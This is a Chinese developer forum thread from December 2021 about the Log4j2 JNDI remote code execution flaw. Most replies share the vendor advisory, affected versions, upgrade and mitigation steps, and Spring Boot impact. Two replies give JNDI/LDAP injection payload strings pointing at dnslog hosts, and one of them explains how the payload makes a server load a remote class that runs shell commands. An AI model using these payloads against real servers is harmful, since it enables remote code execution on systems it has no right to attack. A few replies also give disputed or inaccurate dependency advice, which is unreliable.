没想到继 fastjson 之后还有这一出.
• 请不要在回答技术问题时复制粘贴 AI 生成的内容
This topic created in 1790 days ago, the information mentioned may be changed or developed.
 |
1
|
 |
lix7Dec 10, 2021
2
点完早饭外卖被电话叫起来了修了...
|
 |
nook4shDec 10, 2021
3
log4j 有这个问题吗？
|
 |
ericguiDec 10, 2021
4
有什么 log4j2 的替代品吗
|
 |
zxCoderDec 10, 2021
5
不懂信息安全。。。怎么一个 jar 包还能被攻击啊
|
 |
6
作为脚本小子，我只关心 exp
|
 |
7
Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日，阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，Apache Struts2 、Apache Solr 、Apache Druid 、Apache Flink 等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
漏洞评级 Apache Log4j 远程代码执行漏洞 严重 影响版本 Apache Log4j 2.x <= 2.14.1 安全建议 1. 升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本，地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1 2. 升级已知受影响的应用及组件，如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid |
1
 |
MonkeyJonDec 10, 2021
10
用户只需排查 Java 应用是否引入 log4j-api , log4j-core 两个 jar 。若存在应用使用，极大可能会受到影响。
没有这俩，明天可以休息啦 |
 |
play78Dec 10, 2021
11
springboot -> spring-boot-starter -> spring-boot-starter-logging -> log4j-to-slf4j -> log4j-api 也就是说所有 springboot 项目都会有影响？
|
 |
aoizzDec 10, 2021
12
@MonkeyJon #10 看 idea 外部库里面有 log4j-api ,但是系统用的是 logback,pom 文件也没有引入 log4j,怎么查看是哪个依赖带的?
|
 |
jinzhongyuanDec 10, 2021
13
哪位彦祖讲一下，一个 jar 包怎么被攻击？
|
 |
enrollsDec 10, 2021
15
想看的东西在这
|
|
enrollsDec 10, 2021
16
|
 |
VccccDec 10, 2021
17
Apache log4j2 在 2.0 至 2.14.1 版本均受影响。 好像我们用的还是 1.x 的版本[doge]
|
 |
learningmanDec 10, 2021
18
@aoizz #12 你这不都把答案说出来了吗。。。。logback 依赖 log4j 啊
|
|
enrollsDec 10, 2021
19
|
 |
arthas2234Dec 10, 2021
20
打开 IDEA ，搜一下 log4j ，用的是 1.X 的版本，继续摸鱼
|
 |
rayhyDec 10, 2021
22
@justs0o 最新消息： https://mp.weixin.qq.com/s/AuBchaUvFw2pisVw6rNX5A
Apache Log4j 2.15.0-rc1 版本存在漏洞绕过，请及时更新至 Apache Log4j 2.15.0-rc2 版本 |
 |
23
@play78 不是吧 我记得 springboot 默认日志不是 slf4j + logback 么
|
 |
dreamramonDec 10, 2021
24
加了环境变量了，不知道顶不顶得住。
|
|
DockerfileDec 10, 2021
25
@learningman 谁告诉你 logback 依赖 log4j 的？
|
 |
26
@jinzhongyuan #13 通俗点说一下问题
一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数 如果前台传的是构造的参数如： ${jndi:ldap://xxxx.dnslog.cn/exp} exp 返回的是一个构造方法里执行 shell 代码的 class 文件 然后你设置的什么命令服务器接收到参数后就执行这个命令了 |
 |
wbd31Dec 10, 2021
30
@arthas2234 log4j1.x 版本也可能有问题
参考 https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126 |
 |
34
@RuzZ 根据 quote 的内容，log4j1.x 不支持 lookup ，也找不到 JNDI 的相关引用，感觉是可以理解为 log4j 1.x 不受此次 bug 的影响
|
 |
adamwhiteDec 10, 2021
35
可以通过关闭日志暂时屏蔽问题么？
|
 |
LemengDec 10, 2021
36
大厂加油
|
 |
sadfQED2Dec 10, 2021 via Android
37
哈哈哈，非 java boy 开心吃瓜
|
 |
ioldDec 10, 2021
38
@RuzZ #34 后续来了，1.x 也受影响。https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126
|
|
arthas2234Dec 10, 2021
39
@wbd31 不会吧，现在蔓延到 1.x 了么，不过我负责的项目是在内网的，还可以观望一下
|
|
play78Dec 10, 2021
40
@arthas2234 让网管在防火墙上把 ldap 协议禁止了。估计还可以继续苟。
|
 |
xbchaonbaDec 10, 2021
41
苹果云应为这个漏洞被搞了吗，一直登录不了
|
 |
sha851092391Dec 10, 2021
43
快速验证是否有这个问题： https://issues.apache.org/jira/browse/LOG4J2-3202
修复措施：直接升级到 2.15.0 版本 临时修复措施： 增加 log4j2.component.properties 配置文件，配置为 log4j2.formatMsgNoLookups=true |
 |
yiywainDec 10, 2021
44
没有过哎
|
 |
jandaDec 10, 2021
45
用的 springboot 、也看了 mvn 仓库没有、这个咋更新
```pom <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency> ``` |
 |
ivancaiDec 10, 2021
46
是 log4j2 有问题还是 log4j 都有这个问题？
|
 |
NULL2020Dec 10, 2021
47
没人说说刚发布的版本怎么编译打包吗？
|
|
wbd31Dec 10, 2021
48
@sha851092391 log4j2.formatMsgNoLookups 这个配置只有在 2.10.0 之后的版本才生效。
|
 |
sagaxuDec 10, 2021 via Android
50
官方真急了，禁用了这个功能，把开关都去掉了，官网文档也找不到这个配置项了
|
 |
issakchillDec 10, 2021
51
@NULL2020 我先用着 2.15.0 顶着 aliyun 库有
|
 |
pocketzDec 10, 2021
52
|
 |
windrunDec 10, 2021
53
|
|
jandaDec 10, 2021
54
@janda
maven 更新： <!--Log4j--> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.15.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.15.0</version> </dependency> |
 |
deadofpeopleDec 10, 2021
55
官网的 2.15.0 是 RC2 版本么
|
|
NULL2020Dec 10, 2021
56
|
 |
jamzhouDec 10, 2021
58
确定 log4j-api 也受影响吗，我这边通过尝试构建攻击参数，并未能复现注入攻击。
而 2.14.1 上，的确可以让记录日志的时候，注入远程执行。 |
 |
BigDogWangDec 10, 2021
59
1.7 版本没事吧
|
 |
a594195609Dec 10, 2021
60
@NULL2020 你看错了吧？阿里云仓库里目前能搜得到的是非官方的，groupId 不一样的，大小都差很远，不敢用。
|
|
61
${jndi:ldap://00pfh9.dnslog.cn}
|
 |
lhwarthasDec 10, 2021
63
源码编译步骤：
1.准备 JDK8 & JDK11 & maven 2.配置环境变量 export JAVA_HOME_8_X64=jdk8 目录 export JAVA_HOME_11_X64=jdk11 目录 3.源码目录下执行 mvn package -Dmaven.test.skip=true -DtrimStackTrace=false -Dmaven.test.failure.ignore=true -Dsurefire.rerunFailingTestsCount=1 --global-toolchains .github/workflows/maven-toolchains.xml |
|
pocketzDec 10, 2021
64
@NULL2020
你报错信息是什么？我这边报错是远程 repo 里没有 log4j-api-java9 。 把源码里的 log4j-api-java9 添加到我本地的 repo 里，log4j-api 就编译成功了 |
 |
donespeakDec 10, 2021
65
有人讲讲通过这个漏洞可以做什么样的吗？
|
 |
whoosyDec 10, 2021
66
正在搞
|
 |
yangyaofeiDec 10, 2021 via Android
68
那个……如果是 linux 上，用一个很低的权限(只有 web 文件夹有读权限)的帐户运行程序，是不是就没事儿了？
|
 |
wth4612Dec 10, 2021
71
@deadofpeople 我比了下源码 2.15.0 应该就是 RC2 版
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2 |
 |
codehzDec 10, 2021 via Android
72
|
 |
TankZZZDec 10, 2021 via iPhone
73
今天修复了一天。
|
|
jamzhouDec 10, 2021
74
@sshang 我用的 2.14.1
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> |
 |
75
|
 |
hallDrawnelDec 10, 2021
76
今天看隔壁修了一天，还好我们这边没 Java
|
 |
ericForkDec 10, 2021
77
@hallDrawnel #76 依赖的基础设施如果有用到的话也一样要修的，比如 kafka, elasticsearch
|
|
hallDrawnelDec 11, 2021
78
@ericFork 是的，但是那个有其他团队负责修，我们只需要观察稳定性就行了
|
 |
vincent956Dec 11, 2021
79
@MonkeyJon springboot 自己引入的这个两个包，但是项目上没有使用，有影响吗
|
 |
Kaiv2Dec 11, 2021
80
高版本 JDK 不用太担心
com.sun.jndi.rmi.object.trustURLCodebase 这个参数没有设置为 true ，不会远程加载 class, 会抛出异常 |
|
ixxDec 11, 2021
81
@vincent956 #79 springboot 默认是没有影响的
|
 |
82
参考 https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot spring-boot-starter-logging 包中的 log4j-to-slf4j 与 log4j-api 不受漏洞影响，只有 log4j-core 受影响
|
Select Language